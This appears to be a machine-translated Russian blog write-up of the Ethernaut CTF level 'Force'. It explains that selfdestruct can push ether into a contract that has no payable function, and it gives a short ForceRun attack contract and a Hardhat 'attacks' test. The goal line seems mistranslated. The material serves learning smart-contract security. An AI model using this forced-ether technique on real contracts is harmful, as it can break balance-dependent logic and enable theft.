Серия «Этернавт» — уровень 7 (Сила)


УРОВЕНЬ 7 (сила):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /_/   /
    ____/ o o 
  /~____  =ø= /
 (______)__m_m)

*/}
Войдите в полноэкранный режим Выход из полноэкранного режима

Требования к допуску

Не допускать снижения баланса контракта до нуля

Ключевые моменты

Для того чтобы контракт мог принять передачу, он должен иметь метод получения/возврата или другой внешний метод, который подлежит оплате, иначе передача будет сообщена как ошибка.
Исключением является то, что адрес получателя, указанный при самоуничтожении, не может отказаться от передачи уничтоженного баланса получателю.

Решение

контракты/07ForceRun.sol

contract ForceRun {
    function destory(address _levelAddress) external payable {
        //selfdestruct指定的地址,就算没有receive/fallback也是无法拒接把balance转给它
        selfdestruct(payable(_levelAddress));
    }
}
Войдите в полноэкранный режим Выход из полноэкранного режима

test/07Force.js

  it("attacks", async function () {
    await runContract
      .connect(player)
      .destory(levelContract.address, {
        value: ethers.utils.parseEther("0.1"),
      });
  });
Войдите в полноэкранный режим Выход из полноэкранного режима

Оцените статью
Procodings.ru
Добавить комментарий